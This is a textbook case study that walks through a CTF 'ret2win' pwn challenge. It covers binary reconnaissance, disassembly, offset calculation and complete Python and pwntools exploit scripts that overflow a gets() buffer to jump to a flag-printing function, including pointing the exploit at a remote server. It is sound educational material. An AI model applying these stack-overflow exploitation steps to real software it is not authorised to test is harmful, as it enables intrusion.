Case Study 40-1: CTF Pwn Challenge — A Complete Walkthrough
Introduction
CTF (Capture The Flag) competitions are the practitioner's arena for everything in Part VII of this book. The "pwn" (exploitation) category presents you with a binary, a remote server running that binary, and the task: get the flag. No source code. No hints about the vulnerability. Just the binary and your skills.
This case study walks through the complete process for a challenge modeled on the classic introductory CTF pwn category: "ret2win" — find the overflow, find the target function, redirect execution there. The challenge is educational and illustrative; the binary described corresponds to a standard teaching example from public CTF archives.
🔐 Security Note: CTF challenges are designed to be exploited. Participating in legitimate CTFs is legal and explicitly authorized. The techniques described here are used in CTF contexts and security research — not for unauthorized access to systems you do not own or have permission to test. This walkthrough is educational.
Phase 1: Initial Reconnaissance
# What type of binary?
$ file ./challenge
challenge: ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped
# What security mitigations?
$ checksec --file=challenge
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
# What strings look interesting?
$ strings challenge
Enter your name:
Hello, %s!
/bin/sh
flag.txt
Congratulations! Here is your flag: %s
You shouldn't be here...
# What library functions?
$ objdump -T challenge | grep -v "^0"
0000000000000000 DF *UND* ... gets
0000000000000000 DF *UND* ... printf
0000000000000000 DF *UND* ... fopen
0000000000000000 DF *UND* ... fgets
Key observations:
1. No canary: stack overflow to return address is easy — no canary to bypass
2. No PIE: executable loads at 0x400000; addresses are predictable
3. NX enabled: shellcode injection won't work; need to reuse existing code
4. gets import: classic unbounded input — the overflow vector
5. Two interesting strings: /bin/sh AND flag.txt + Congratulations! — there is a "win" function that reads the flag
Phase 2: Finding the Win Function
Open in Ghidra or with objdump:
$ objdump -M intel -d challenge
0000000000401196 <get_name>:
401196: push rbp
401197: mov rbp,rsp
40119a: sub rsp,0x40 ; 64 bytes local buffer
40119e: lea rdi,[rbp-0x40] ; buf at rbp-64
4011a2: call gets@plt ; gets(buf) — NO BOUNDS CHECK
4011a7: leave
4011a8: ret
0000000000401160 <win>:
401160: push rbp
401161: mov rbp,rsp
401164: sub rsp,0x20
401168: lea rdi,[rip+0xe99] ; "flag.txt"
40116f: lea rsi,[rip+0xe96] ; "r"
401176: call fopen@plt
40117b: mov [rbp-0x8],rax ; FILE *f
40117f: cmp QWORD [rbp-0x8],0
401183: jne 40119a
401185: lea rdi,[rip+0xe88] ; "You shouldn't be here..."
40118c: call puts@plt
...
40119a: ... ; read and print flag
The win function at 0x401160 reads flag.txt and prints it. It is never called during normal execution — we must redirect there via the overflow.
Phase 3: Calculate the Offset
From the disassembly: buffer is at rbp-0x40 (64 bytes from rbp). Saved rbp is at rbp (8 bytes). Return address is at rbp+8.
Offset from buffer to return address: 64 + 8 = 72 bytes.
Confirm with GDB cyclic pattern:
$ gdb -q ./challenge
(gdb) cyclic 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaa
(gdb) run
Enter your name: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaa
Segfault at 0x6161616161616168
(gdb) cyclic -l 0x6161616161616168
72
Offset confirmed: 72 bytes.
Phase 4: Build the Exploit Payload
We need:
- 72 bytes of padding (any content)
- 8 bytes: address of win function (0x0000000000401160, little-endian)
But wait — x86-64 requires 16-byte stack alignment before a CALL. When win is entered via our redirect (which is via ret, not call), the stack may not be aligned. Some functions begin with push rbp which adjusts alignment; if win calls fopen which requires aligned stack, we may need to fix alignment.
Solution: the ret sled — instead of jumping directly to win, jump to a ret gadget first. The extra ret pops 8 bytes and re-aligns the stack.
Find a simple ret gadget:
$ ROPgadget --binary challenge | grep ": ret$"
0x000000000040101a : ret
Updated payload:
- 72 bytes of padding
- 8 bytes: 0x000000000040101a (a bare ret gadget, for alignment)
- 8 bytes: 0x0000000000401160 (address of win)
Phase 5: Write the Exploit
Using Python (pwntools style, but readable without pwntools):
#!/usr/bin/env python3
import struct
import subprocess
# Addresses (little-endian 8-byte)
ret_gadget = 0x000000000040101a
win_address = 0x0000000000401160
padding = b'A' * 72
payload = padding
payload += struct.pack('<Q', ret_gadget) # alignment gadget
payload += struct.pack('<Q', win_address) # redirect to win
# Run the challenge and pipe in the payload
proc = subprocess.Popen(['./challenge'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
stdout, stderr = proc.communicate(input=payload + b'\n')
print(stdout.decode())
Or with pwntools (the standard CTF tool):
from pwn import *
p = process('./challenge')
payload = b'A' * 72
payload += p64(0x40101a) # ret gadget for alignment
payload += p64(0x401160) # win function
p.sendlineafter(b'Enter your name: ', payload)
p.interactive()
Phase 6: Running Against Remote
In a real CTF, the challenge runs on a remote server. Replace process('./challenge') with:
p = remote('challenge.ctf.example.com', 1337)
The payload is identical — the binary is the same, the offsets are the same. The flag comes back from the server's flag.txt.
What We Used from This Book
Every step used specific skills from specific chapters:
| Step | Chapter | Skill |
|---|---|---|
| checksec analysis | Ch. 36 | Understanding mitigation flags |
| No canary → easy overflow | Ch. 35-36 | Buffer overflow + canary |
| NX → no shellcode | Ch. 36 | NX/DEP understanding |
| No PIE → fixed addresses | Ch. 36 | PIE/ASLR understanding |
gets identification |
Ch. 35 | Dangerous function recognition |
| Stack offset calculation | Ch. 35 | Frame layout, offset math |
| GDB cyclic pattern | Ch. 35 | GDB pwndbg workflow |
| Alignment gadget | Ch. 37 | ROP gadget concept |
win function identification |
Ch. 34 | RE: string cross-references |
| Payload construction | Ch. 35 | Memory layout and overwrite |
Progression in CTF
After ret2win (which requires no ASLR bypass and no advanced techniques), the typical CTF progression is:
- ret2win (this example): simple overflow, redirect to existing function
- ret2libc with known addresses: overflow, call
system("/bin/sh"), no ASLR - ret2libc with ASLR: use ret2plt to leak a libc address, then ret2libc
- ROP chains: build multi-gadget chains for more complex goals
- Format string + overflow: two-vulnerability chain to defeat canaries
- Heap exploitation: use-after-free, double-free, tcache poisoning
Each level requires the knowledge from Parts V-VII. The CTF format provides immediate feedback (wrong payload → segfault; correct payload → flag) and the difficulty calibration is generally well-designed for progressive learning.
The CTF Learning Loop
The most valuable part of CTF is not solving challenges — it is reading writeups for challenges you could not solve. After a CTF ends, write-ups for every challenge are published. Reading them shows you techniques you had not considered, tools you had not known about, and approaches you would not have discovered alone.
This is the fastest way to expand from a baseline of skills (which you now have) to the full breadth of what the security community uses.